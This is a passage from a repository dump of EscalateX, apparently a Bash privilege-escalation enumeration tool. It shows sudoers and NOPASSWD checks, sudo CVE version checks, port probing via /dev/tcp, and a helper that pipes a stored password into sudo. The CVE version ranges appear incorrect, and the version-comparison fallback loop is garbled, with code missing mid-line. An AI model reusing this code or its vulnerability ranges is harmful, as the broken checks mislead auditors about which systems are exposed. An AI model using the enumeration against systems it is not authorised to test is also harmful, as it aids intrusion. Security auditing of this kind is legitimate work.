355 | print_warning " NOPASSWD rules found:"
356 | echo "$nopasswd_rules" | while read -r line; do
357 | print_warning " $line"
358 | done
359 | fi
360 | else
361 | print_success " No custom sudoers files found"
362 | fi
363 | fi
364 |
365 | # Check main sudoers file
366 | print_info "Main sudoers file:"
367 |
368 | if [ -r /etc/sudoers ]; then
369 | sudoers=$(grep -v "^#\|^Defaults\|^$" /etc/sudoers 2>/dev/null)
370 |
371 | if [ -n "$sudoers" ]; then
372 | echo "$sudoers" | while read -r line; do
373 | # Highlight NOPASSWD entries
374 | if echo "$line" | grep -q "NOPASSWD"; then
375 | print_warning " ${YELLOW}${line}${NC}"
376 | else
377 | print_success " $line"
378 | fi
379 | done
380 | else
381 | print_not_found " No non-default entries in sudoers file"
382 | fi
383 | else
384 | print_warning " Cannot read sudoers file"
385 | fi
386 |
387 | # Check for sudo version (for vulnerabilities)
388 | print_info "Sudo version:"
389 |
390 | sudo_version=$(sudo -V 2>/dev/null | grep "Sudo version" | awk '{print $3}')
391 |
392 | if [ -n "$sudo_version" ]; then
393 | print_success " Sudo version: ${sudo_version}"
394 |
395 | # Check for sudo vulnerability CVE-2021-3156 (Baron Samedit)
396 | if version_greater_equal "1.8.30" "$sudo_version" && ! version_greater_equal "1.8.26" "$sudo_version"; then
397 | print_critical " ${RED}Potentially vulnerable to CVE-2021-3156 (Baron Samedit)${NC}"
398 | fi
399 |
400 | # Check for sudo vulnerability CVE-2019-14287 (runas user ID -1)
401 | if version_greater_equal "1.8.28" "$sudo_version" && ! version_greater_equal "1.8.1" "$sudo_version"; then
402 | print_critical " ${RED}Potentially vulnerable to CVE-2019-14287 (Negative user ID)${NC}"
403 | fi
404 | else
405 | print_warning " Sudo version could not be determined"
406 | fi
407 | }
408 |
409 | # Main function to run all user info checks
410 | user_info_checks() {
411 | print_title "User Information"
412 |
413 | # Run all user information checks
414 | check_current_user
415 | check_all_users
416 | check_user_directories
417 | check_password_policy
418 | check_sudo_permissions
419 |
420 | # Wait for user if wait mode is enabled
421 | wait_for_user
422 | }
--------------------------------------------------------------------------------
/modules/utils/core.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: Core Utilities
4 | # Description: Core utility functions for EscalateX
5 | # Author: Jonas Resch
6 |
7 | ###########################################
8 | #-----------) Display Utils (------------#
9 | ###########################################
10 |
11 | # Print a major section title with a box
12 | print_title() {
13 | # Skip if quiet mode
14 | [ "$QUIET" ] && return
15 |
16 | # Debug timer functionality
17 | if [ "$DEBUG" ]; then
18 | END_TIMER=$(date +%s 2>/dev/null)
19 | if [ "$START_TIMER" ]; then
20 | TOTAL_TIME=$(($END_TIMER - $START_TIMER))
21 | echo -e "${GRAY}[Debug] Previous section execution took $TOTAL_TIME seconds${NC}"
22 | echo ""
23 | fi
24 | START_TIMER=$(date +%s 2>/dev/null)
25 | fi
26 |
27 | title="$1"
28 | title_len=$(echo "$title" | wc -c)
29 | max_title_len=80
30 | rest_len=$((($max_title_len - $title_len) / 2))
31 |
32 | # Draw top border
33 | echo -e "${BLUE}"
34 | for i in $(seq 1 $rest_len); do printf " "; done
35 | printf "┏"
36 | for i in $(seq 1 $title_len); do printf "━"; done; printf "━";
37 | printf "┓"
38 | echo ""
39 |
40 | # Draw title with decorations
41 | for i in $(seq 1 $rest_len); do printf "━"; done
42 | printf "┫ ${GREEN}${title}${BLUE} ┣"
43 | for i in $(seq 1 $rest_len); do printf "━"; done
44 | echo ""
45 |
46 | # Draw bottom border
47 | for i in $(seq 1 $rest_len); do printf " "; done
48 | printf "┗"
49 | for i in $(seq 1 $title_len); do printf "━"; done; printf "━";
50 | printf "┛"
51 | echo -e "${NC}"
52 | echo ""
53 | }
54 |
55 | # Print a subsection title
56 | print_subtitle() {
57 | # Skip if quiet mode
58 | [ "$QUIET" ] && return
59 |
60 | # Debug timer functionality
61 | if [ "$DEBUG" ]; then
62 | SUB_END_TIMER=$(date +%s 2>/dev/null)
63 | if [ "$SUB_START_TIMER" ]; then
64 | SUB_TOTAL_TIME=$(($SUB_END_TIMER - $SUB_START_TIMER))
65 | echo -e "${GRAY}[Debug] Previous subsection execution took $SUB_TOTAL_TIME seconds${NC}"
66 | echo ""
67 | fi
68 | SUB_START_TIMER=$(date +%s 2>/dev/null)
69 | fi
70 |
71 | echo -e "${YELLOW}╔════════[ ${CYAN}$1${YELLOW} ]════════╗${NC}"
72 | }
73 |
74 | # Print informational message
75 | print_info() {
76 | [ "$QUIET" ] && return
77 | echo -e "${BLUE}[*]${NC} $1"
78 | }
79 |
80 | # Print a successful result
81 | print_success() {
82 | echo -e "${GREEN}[+]${NC} $1"
83 | }
84 |
85 | # Print warning message
86 | print_warning() {
87 | echo -e "${YELLOW}[!]${NC} $1"
88 | # Add finding to the report
89 | save_to_report "WARNING" "$1" ""
90 | }
91 |
92 | # Print error message (treat as warning for reporting)
93 | print_error() {
94 | echo -e "${RED}[-]${NC} $1" >&2
95 | # Add finding to the report as a warning
96 | save_to_report "WARNING" "Error: $1" ""
97 | }
98 |
99 | # Print critical finding (high severity issue)
100 | print_critical() {
101 | echo -e "${RED}${BOLD}[CRITICAL]${NC} $1"
102 | # Add finding to the report
103 | save_to_report "CRITICAL" "$1" ""
104 | }
105 |
106 | # Print a check that hasn't found anything
107 | print_not_found() {
108 | if [ "$THOROUGH" ] || [ "$EXTREME_SCAN" ]; then # Show only in detailed modes
109 | echo -e "${GRAY}[·]${NC} $1"
110 | fi
111 | }
112 |
113 | # Print debug info only when debug is enabled
114 | print_debug() {
115 | if [ "$DEBUG" ]; then
116 | echo -e "${GRAY}[Debug]${NC} $1" >&2
117 | fi
118 | }
119 |
120 | # Wait for user input if wait mode is enabled
121 | wait_for_user() {
122 | if [ "$WAIT" ]; then
123 | echo ""
124 | read -p "Press Enter to continue..."
125 | echo ""
126 | fi
127 | }
128 |
129 | ###########################################
130 | #-----------) Process Utils (------------#
131 | ###########################################
132 |
133 | # Execute binary safely with error handling
134 | exec_binary() {
135 | binary="$1"
136 | params="$2"
137 |
138 | if ! command -v "$binary" >/dev/null 2>&1; then
139 | print_debug "Binary not found: $binary"
140 | return 1
141 | fi
142 |
143 | output=$($binary $params 2>/dev/null)
144 | retval=$?
145 |
146 | if [ $retval -ne 0 ]; then
147 | print_debug "Error executing $binary (exit code: $retval)"
148 | return $retval
149 | fi
150 |
151 | echo "$output"
152 | return 0
153 | }
154 |
155 | # Run command with timeout
156 | run_with_timeout() {
157 | timeout="$1"
158 | shift
159 | command="$@"
160 |
161 | # Use timeout command if available
162 | if command_exists timeout; then
163 | timeout $timeout $command 2>/dev/null
164 | return $?
165 | else
166 | print_debug "Timeout command not found, running without timeout: $command"
167 | $command
168 | return $?
169 | fi
170 | }
171 |
172 | # Execute a command in parallel if multithreading is enabled
173 | exec_parallel() {
174 | cmd="$1"
175 |
176 | if [ "$MULTITHREADED" ]; then
177 | $cmd &
178 | else
179 | $cmd
180 | fi
181 | }
182 |
183 | # Wait for all background processes to finish
184 | wait_for_processes() {
185 | if [ "$MULTITHREADED" ]; then
186 | wait
187 | fi
188 | }
189 |
190 | ###########################################
191 | #----------) File System Utils (---------#
192 | ###########################################
193 |
194 | # Check if a path is readable
195 | is_readable() {
196 | [ -r "$1" ] && return 0 || return 1
197 | }
198 |
199 | # Check if a path is writable
200 | is_writable() {
201 | [ -w "$1" ] && return 0 || return 1
202 | }
203 |
204 | # Check if a path is executable
205 | is_executable() {
206 | [ -x "$1" ] && return 0 || return 1
207 | }
208 |
209 | # Check if a path exists
210 | path_exists() {
211 | [ -e "$1" ] && return 0 || return 1
212 | }
213 |
214 | # Check if a command exists in PATH
215 | command_exists() {
216 | command -v "$1" >/dev/null 2>&1 && return 0 || return 1
217 | }
218 |
219 | # Create a temporary file securely
220 | create_temp_file() {
221 | mktemp /tmp/escalatex.XXXXXX 2>/dev/null || mktemp -t escalatex.XXXXXX 2>/dev/null
222 | }
223 |
224 | # Create a temporary directory securely
225 | create_temp_dir() {
226 | local temp_dir
227 | temp_dir=$(mktemp -d /tmp/escalatex.XXXXXX 2>/dev/null || mktemp -d -t escalatex.XXXXXX 2>/dev/null)
228 | echo "$temp_dir"
229 | }
230 |
231 | ###########################################
232 | #----------) Output Formatting (---------#
233 | ###########################################
234 |
235 | # Format the output as JSON if JSON mode is enabled
236 | format_json() {
237 | key="$1"
238 | value="$2"
239 |
240 | # Since JSON output is not implemented, just return the value
241 | # TODO: Implement proper JSON formatting if needed in future
242 | echo "$value"
243 | }
244 |
245 | # Format the current date and time
246 | get_datetime() {
247 | date "+%Y-%m-%d %H:%M:%S"
248 | }
249 |
250 | # Format a file size to human-readable
251 | format_size() {
252 | size="$1"
253 | local unit="B"
254 |
255 | if ! [[ "$size" =~ ^[0-9]+$ ]]; then
256 | echo "Invalid size"
257 | return 1
258 | fi
259 |
260 | if [ $size -gt 1073741824 ]; then # 1 GB
261 | size=$(awk -v s="$size" 'BEGIN {printf "%.1f", s/1073741824}')
262 | unit="GB"
263 | elif [ $size -gt 1048576 ]; then # 1 MB
264 | size=$(awk -v s="$size" 'BEGIN {printf "%.1f", s/1048576}')
265 | unit="MB"
266 | elif [ $size -gt 1024 ]; then # 1 KB
267 | size=$(awk -v s="$size" 'BEGIN {printf "%.1f", s/1024}')
268 | unit="KB"
269 | fi
270 | echo "$size $unit"
271 | }
272 |
273 | ###########################################
274 | #-----------) String Utils (-------------#
275 | ###########################################
276 |
277 | # Remove ANSI color codes from string
278 | strip_colors() {
279 | echo "$1" | sed 's/\x1b\[[0-9;]*m//g'
280 | }
281 |
282 | # Truncate a string to a maximum length
283 | truncate_string() {
284 | str="$1"
285 | max_len="$2"
286 |
287 | if [ ${#str} -gt $max_len ]; then
288 | echo "${str:0:$max_len}..."
289 | else
290 | echo "$str"
291 | fi
292 | }
293 |
294 | # Hash a string using SHA256
295 | hash_string() {
296 | if command_exists sha256sum; then
297 | echo -n "$1" | sha256sum | cut -d' ' -f1
298 | elif command_exists shasum; then
299 | echo -n "$1" | shasum -a 256 | cut -d' ' -f1
300 | else
301 | echo "Hashing_Tool_Not_Found"
302 | fi
303 | }
304 |
305 | # Encode a string to base64
306 | encode_base64() {
307 | if command_exists base64; then
308 | echo -n "$1" | base64
309 | else
310 | echo "Base64_Tool_Not_Found"
311 | fi
312 | }
313 |
314 | ###########################################
315 | #------------) Network Utils (------------#
316 | ###########################################
317 |
318 | # Check if host is reachable
319 | is_host_up() {
320 | host="$1"
321 | if command_exists ping; then
322 | ping -c 1 -W 1 "$host" >/dev/null 2>&1
323 | return $?
324 | else
325 | print_debug "Ping command not found, cannot check host reachability."
326 | return 1 # Assume not reachable if ping doesn't exist
327 | fi
328 | }
329 |
330 | # Check if port is open
331 | is_port_open() {
332 | host="$1"
333 | port="$2"
334 | # Use bash internal TCP check if possible
335 | timeout 1 bash -c "/dev/tcp/$host/$port" 2>/dev/null
336 | return $?
337 | # Fallback could use nc or nmap if available and necessary
338 | }
339 |
340 | # Get current external IP
341 | get_external_ip() {
342 | # Try multiple services for redundancy
343 | if command_exists curl; then
344 | curl -s https://api.ipify.org 2>/dev/null || curl -s https://ifconfig.me 2>/dev/null || curl -s https://icanhazip.com 2>/dev/null || echo "Unknown"
345 | elif command_exists wget; then
346 | wget -qO- https://api.ipify.org 2>/dev/null || wget -qO- https://ifconfig.me 2>/dev/null || wget -qO- https://icanhazip.com 2>/dev/null || echo "Unknown"
347 | else
348 | echo "Unknown (curl/wget not found)"
349 | fi
350 | }
351 |
352 | ###########################################
353 | #------------) Version Utils (------------#
354 | ###########################################
355 |
356 | # Compare version numbers (returns 0 if v1 >= v2)
357 | version_greater_equal() {
358 | v1="$1"
359 | v2="$2"
360 |
361 | # Remove non-numeric characters and handle common suffixes like 'p'
362 | v1=$(echo "$v1" | sed -E 's/[^0-9.]//g')
363 | v2=$(echo "$v2" | sed -E 's/[^0-9.]//g')
364 |
365 | # Handle empty versions
366 | [ -z "$v1" ] && v1="0"
367 | [ -z "$v2" ] && v2="0"
368 |
369 | # Use sort -V if available for robust version comparison
370 | if command_exists sort && sort -V <<<$"1\n1" >/dev/null 2>&1; then
371 | lowest_version=$(printf "%s\n%s\n" "$v1" "$v2" | sort -V | head -n1)
372 | if [ "$lowest_version" = "$v2" ]; then
373 | return 0 # v1 is greater or equal to v2
374 | else
375 | return 1 # v1 is less than v2
376 | fi
377 | else
378 | # Fallback simple comparison (less accurate for complex versions)
379 | IFS=. read -r -a ver1 <<< "$v1"
380 | IFS=. read -r -a ver2 <<< "$v2"
381 |
382 | len1=${#ver1[@]}
383 | len2=${#ver2[@]}
384 | max_len=$(( len1 > len2 ? len1 : len2 ))
385 |
386 | for ((i=0; i c2 )); then return 0; fi
396 | if (( c1 < c2 )); then return 1; fi
397 | done
398 | return 0 # Versions are equal
399 | fi
400 | }
401 |
402 | # Function to sanitize user input for security
403 | sanitize_input() {
404 | local input="$1"
405 | # Remove potentially malicious characters, allow common safe ones
406 | # Prevent path traversal (..) and limit characters
407 | echo "$input" | sed -e 's/[^[:alnum:][:space:].,_\/-]//g' -e 's/\.\.\///g' -e 's/\/\.\.//g'
408 | }
409 |
410 | # Advanced error handling
411 | handle_error() {
412 | local exit_code=$1
413 | local error_message=$2
414 |
415 | if [ $exit_code -ne 0 ]; then
416 | print_warning "Operation failed: $error_message (Code: $exit_code)"
417 | return 1
418 | fi
419 | return 0
420 | }
421 |
422 | # Execute command safely with timeout
423 | safe_exec() {
424 | local cmd="$1"
425 | local timeout_seconds="${2:-10}" # Default 10 seconds
426 |
427 | run_with_timeout "$timeout_seconds" "$cmd"
428 | local exit_code=$?
429 | if [ $exit_code -eq 124 ]; then
430 | print_debug "Command timed out ($timeout_seconds s): $cmd"
431 | return 124
432 | elif [ $exit_code -ne 0 ]; then
433 | print_debug "Command failed (exit code $exit_code): $cmd"
434 | return $exit_code
435 | fi
436 | return 0
437 | }
438 |
439 | # Check if running with sufficient privileges for the requested scan
440 | check_privileges() {
441 | # If not root and thorough scan requested, warn user
442 | if [ -z "$IAMROOT" ] && ( [ "$THOROUGH" ] || [ "$EXTREME_SCAN" ] ); then
443 | print_warning "Running thorough/extreme scan without root privileges. Some checks may be limited."
444 | if [ -z "$PASSWORD" ] && [ -z "$USE_SUDO_PASS" ]; then
445 | print_warning "Consider running with sudo or using --password/--sudo-pass for more comprehensive results."
446 | fi
447 | fi
448 |
449 | # If extreme scan requested without root, warn strongly
450 | if [ -z "$IAMROOT" ] && [ "$EXTREME_SCAN" ] && [ -z "$QUIET" ] ; then
451 | print_critical "Extreme scan mode works best with root privileges!"
452 | print_critical "Many checks will be limited or may fail."
453 | read -p "Do you want to continue anyway? (y/n): " response
454 | if [[ ! $response =~ ^[Yy]$ ]]; then
455 | print_info "Scan aborted. Re-run with sudo or required privileges for best results."
456 | exit 0
457 | fi
458 | fi
459 | }
460 |
461 | # Run commands in parallel if multithreaded mode is enabled
462 | parallel_exec() {
463 | local cmd="$1"
464 |
465 | if [ "$MULTITHREADED" ] && [ "$THREADS" -gt 1 ]; then
466 | # Run in background
467 | eval "$cmd" &
468 |
469 | # If we have too many processes, wait for one to finish
470 | while [ "$(jobs -p | wc -l)" -ge "$THREADS" ]; do
471 | wait -n 2>/dev/null || sleep 0.1 # Wait for any job or sleep briefly
472 | done
473 | else
474 | # Run sequentially
475 | eval "$cmd"
476 | fi
477 | }
478 |
479 | # Save findings to a report file/array
480 | save_to_report() {
481 | local severity="$1"
482 | local message="$2"
483 | local details="${3:-}" # Optional details
484 | local timestamp
485 |
486 | timestamp=$(date +"%Y-%m-%d %H:%M:%S")
487 |
488 | # Strip any ANSI color codes from message
489 | message=$(strip_colors "$message")
490 | details=$(strip_colors "$details")
491 |
492 | # Escape pipe characters in message and details to avoid breaking the format
493 | message=$(echo "$message" | sed 's/|/\PIPE/g')
494 | details=$(echo "$details" | sed 's/|/\PIPE/g')
495 |
496 | # Add to the findings array for later reporting
497 | FINDINGS+=("$timestamp|$severity|$message|$details")
498 |
499 | # If critical finding, add to critical findings list (only the message)
500 | if [ "$severity" = "CRITICAL" ]; then
501 | CRITICAL_FINDINGS+=("$message")
502 | fi
503 | }
504 |
505 | # Initialize key global variables
506 | init_globals() {
507 | # Initialize findings arrays
508 | FINDINGS=()
509 | CRITICAL_FINDINGS=()
510 |
511 | # Track scan start time for performance metrics
512 | SCAN_START_TIME=$(date +%s)
513 | }
514 |
515 | # Run a command with sudo using the stored password if available
516 | run_with_sudo() {
517 | local cmd="$1"
518 |
519 | if [ -n "$PASSWORD" ]; then
520 | # Use the password with sudo
521 | echo "$PASSWORD" | sudo -S $cmd 2>/dev/null
522 | return $?
523 | elif [ "$USE_SUDO_PASS" ]; then
524 | # If --sudo-pass was used but no password given/worked, prompt?
525 | # For now, just try without password if USE_SUDO_PASS is set but PASSWORD is empty
526 | sudo -n $cmd 2>/dev/null
527 | return $?
528 | else
529 | # Try without password (non-interactive, only works if sudoers allows)
530 | sudo -n $cmd 2>/dev/null
531 | return $?
532 | fi
533 | }
--------------------------------------------------------------------------------
/title.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ExploitWorks/EscalateX/d444af7425bde63911873693f18df8bbe3b0d463/title.png
--------------------------------------------------------------------------------